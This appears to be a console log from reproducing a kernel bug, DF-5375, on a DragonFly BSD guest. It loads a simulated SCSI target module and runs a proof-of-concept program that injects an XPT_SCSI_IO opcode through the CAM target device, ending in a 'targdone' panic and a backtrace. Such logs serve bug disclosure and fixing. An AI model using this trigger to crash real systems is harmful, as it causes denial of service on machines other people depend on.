# DF-5375 decisive run (guest root, targsim rig on bus 2, Oct 3 2026)
root@dfbsd# kldload ./targsim.ko
[TARGSIM] bus 2 registered+scanned, target mode ready (target_sprt=PIT_PROCESSOR)
root@dfbsd# ./poc5375
[*] DF-5375: targsim bus=2; open+enable target mode
[+] target mode enabled; injecting func_code=XPT_SCSI_IO (0x901) via write()
[*] write() queued opcode -> targstart -> targsendccb -> xpt_action -> SIM completes -> targdone panic NOW
(ssh dies; serial console:)
[TARGSIM] EN_LUN enable=1 grp6=0 grp7=0 -> OK
[TARGSIM] SCSI_IO via targ (descr=0xfffff801167edd40): completing -> expect targdone panic
panic: targdone: impossible xpt opcode 0x901
cpuid = 3
Trace beginning at frame 0xfffff8008d333910
targdone() at targdone+0x80 0xffffffff802c9070
targdone() at targdone+0x80 0xffffffff802c9070
camisr_runqueue() at camisr_runqueue+0x141 0xffffffff802afcc1
swi_cambio() at swi_cambio+0x10f 0xffffffff802b021f
ithread_handler() at ithread_handler+0x2fe 0xffffffff8062274e
Debugger("panic")